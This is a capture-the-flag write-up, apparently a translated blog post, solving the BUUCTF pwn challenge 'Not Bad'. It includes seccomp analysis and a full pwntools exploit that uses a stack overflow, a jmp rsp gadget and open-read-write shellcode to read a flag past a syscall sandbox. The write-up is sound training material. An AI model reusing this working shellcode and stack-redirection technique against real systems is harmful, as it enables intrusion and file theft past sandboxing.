[BUUCTF]PWN——[Geek Challenge 2019] Not Bad (orw_shellcode)

[Geek Challenge 2019] Not Bad

annex

step

  1. Routine inspection, 64-bit program, useless to turn on any protection
    Insert picture description here

  2. Take a local test run to see the general situation. According to the program prompts, it is a simple shellcode. According to experience, it is definitely not simple.
    Insert picture description here

  3. 64-bit ida load.
    Insert picture description here
    Baidu 's introduction about mmap function .
    Change the address starting from 0x123000, the size is 0x1000 length, and the permission is changed to writable and executable
    sub_400949(), sandbox filtering
    Insert picture description here
    Use to seccomp-tools dump ./badsee which functions can be used, and
    Insert picture description here
    only read is found. Write, open, and exit can be used. It is estimated that this question should be obtained using open-->read-->writesuch an orw method to obtain the flag
    sub_400906()
    Insert picture description here
    sub_400A16(), an obvious overflow vulnerability
    Insert picture description here

  4. The idea of ​​this question is very simple, write orw type shellcode, and then jump to execute, the size of buf is only 0x20, it feels not enough for us to write a full rop attack chain, at the beginning of the program, we opened up 0x100 executable space, I plan to write the shellcode here, and then use the overflow of buf to jump over to execute our shellcode

  5. First write the shellcode of orw

mmap=0x123000
orw_payload=shellcraft.open('./flag')           #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50)       #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50)      #将mmap地址上的内容输出0x50个字节

For the specifics of the file descriptor fd, see this article , let me briefly talk about it here.
The fd in read writes 3 because the file descriptor starts from 3 when the program is executed, and the 1 in write is standard output to the display. These knowledge points are in the link I gave.

  1. Next, write about the rop attack chain in
    buf. The task of the rop attack chain in buf is to write orw_payload into mmap, let the program jump to mmap to execute orw_payload, and start writing the rop attack chain after determining the purpose.
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行

In this way, the rop in buf achieves the purpose we want. Next, we need to find a way to execute the content in buf. It is
found that the program has jmp rsp, which can be used to jump to buf for execution. The address of buf is rsp-0x30.
sub rsp,0x30; jmp rsp is less than 8 bytes to meet the requirements. Insert picture description here
The complete rop attack chain at buf

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)

In this way, the rop in buf is also constructed, and the rest can be read by passing in orw_payload

Full exp

from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

Insert picture description here

Guess you like

Origin blog.csdn.net/mcmuyanga/article/details/113389703